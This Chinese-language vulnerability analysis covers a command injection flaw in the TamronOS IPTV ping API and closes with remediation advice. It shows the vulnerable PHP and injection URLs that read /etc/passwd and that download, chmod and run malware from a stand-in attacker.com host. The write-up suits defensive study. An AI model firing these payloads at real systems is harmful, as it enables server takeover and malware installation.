TamronOS_IPTV系统任意命令执行漏洞
字数 918 2025-08-09 22:00:34

TamronOS IPTV系统任意命令执行漏洞分析

漏洞概述

TamronOS IPTV系统存在一个任意命令执行漏洞,该漏洞位于cgi/iptv/Controllers/ApiController.php文件的ping方法中。攻击者可以通过构造特定的HTTP请求,在服务器上执行任意系统命令。

漏洞位置

cgi/iptv/Controllers/ApiController.php文件中的ping方法

漏洞分析

漏洞代码关键点

public function ping()
{
    $ip = $_GET['host'];
    if($ip) {
        // ... [省略部分参数处理代码] ...
        
        $cmd = sprintf('/usr/bin/sudo /etc/exec/kping -t %s%s', $ip, join(' ', $options));
        exec($cmd, $res);
    }else{
        $res = '域名或ip不能为空';
    }
    $respond = [
        'suc' => 1,
        'cmd' => $cmd,
        'result' => join(PHP_EOL, $res)
    ];
    $this->json($respond);
}

漏洞成因

  1. 未过滤的用户输入$ip变量直接从$_GET['host']获取,未经充分过滤或转义
  2. 直接拼接命令$ip被直接拼接到系统命令字符串中
  3. 使用exec执行命令:拼接后的命令字符串通过exec()函数直接执行

攻击向量

攻击者可以通过构造特殊的host参数值注入任意命令:

/api/ping?host=;whoami

在这个例子中:

  • 原始命令:/usr/bin/sudo /etc/exec/kping -t [host]
  • 注入后命令:/usr/bin/sudo /etc/exec/kping -t ;whoami

分号(;)在Linux系统中用于分隔多个命令,因此whoami会被作为独立命令执行。

漏洞利用

基本利用方式

  1. 直接访问漏洞URL:

    /api/ping?host=;whoami
    
  2. 服务器将执行:

    /usr/bin/sudo /etc/exec/kping -t ;whoami
    
  3. 返回结果中包含命令执行输出

进阶利用

攻击者可以构造更复杂的命令注入:

/api/ping?host=;cat+/etc/passwd
/api/ping?host=;wget+http://attacker.com/malware+-O+/tmp/malware
/api/ping?host=;chmod+777+/tmp/malware
/api/ping?host=;/tmp/malware

修复建议

  1. 输入验证

    $ip = filter_var($_GET['host'], FILTER_VALIDATE_IP);
    if (!$ip) {
        // 处理无效IP情况
    }
    
  2. 使用escapeshellarg()函数

    $cmd = sprintf('/usr/bin/sudo /etc/exec/kping -t %s%s', 
        escapeshellarg($ip), 
        join(' ', array_map('escapeshellarg', $options))
    );
    
  3. 最小权限原则

    • 不要使用sudo执行此命令
    • 使用专门的系统用户运行Web服务,限制其权限
  4. 使用白名单验证

    $allowed_modes = ['icmp', 'syn', 'arp', 'tracert', 'whois', 'tcpdump'];
    if(!in_array($mode, $allowed_modes)) {
        // 处理非法模式
    }
    
  5. 禁用危险函数

    • 在php.ini中禁用exec()system()等危险函数

漏洞影响

该漏洞允许攻击者在服务器上执行任意命令,可能导致:

  • 服务器完全被控制
  • 敏感信息泄露
  • 作为跳板攻击内网其他系统
  • 植入后门或恶意软件

总结

TamronOS IPTV系统的命令注入漏洞是一个典型的安全问题,源于未正确处理用户输入并将其直接拼接到系统命令中。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和转义,特别是当这些输入用于系统命令、数据库查询或文件操作时。

TamronOS IPTV系统任意命令执行漏洞分析 漏洞概述 TamronOS IPTV系统存在一个任意命令执行漏洞,该漏洞位于 cgi/iptv/Controllers/ApiController.php 文件的 ping 方法中。攻击者可以通过构造特定的HTTP请求,在服务器上执行任意系统命令。 漏洞位置 cgi/iptv/Controllers/ApiController.php 文件中的 ping 方法 漏洞分析 漏洞代码关键点 漏洞成因 未过滤的用户输入 : $ip 变量直接从 $_GET['host'] 获取,未经充分过滤或转义 直接拼接命令 : $ip 被直接拼接到系统命令字符串中 使用exec执行命令 :拼接后的命令字符串通过 exec() 函数直接执行 攻击向量 攻击者可以通过构造特殊的 host 参数值注入任意命令: 在这个例子中: 原始命令: /usr/bin/sudo /etc/exec/kping -t [host] 注入后命令: /usr/bin/sudo /etc/exec/kping -t ;whoami 分号( ; )在Linux系统中用于分隔多个命令,因此 whoami 会被作为独立命令执行。 漏洞利用 基本利用方式 直接访问漏洞URL: 服务器将执行: 返回结果中包含命令执行输出 进阶利用 攻击者可以构造更复杂的命令注入: 修复建议 输入验证 : 使用escapeshellarg()函数 : 最小权限原则 : 不要使用sudo执行此命令 使用专门的系统用户运行Web服务,限制其权限 使用白名单验证 : 禁用危险函数 : 在php.ini中禁用 exec() 、 system() 等危险函数 漏洞影响 该漏洞允许攻击者在服务器上执行任意命令,可能导致: 服务器完全被控制 敏感信息泄露 作为跳板攻击内网其他系统 植入后门或恶意软件 总结 TamronOS IPTV系统的命令注入漏洞是一个典型的安全问题,源于未正确处理用户输入并将其直接拼接到系统命令中。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和转义,特别是当这些输入用于系统命令、数据库查询或文件操作时。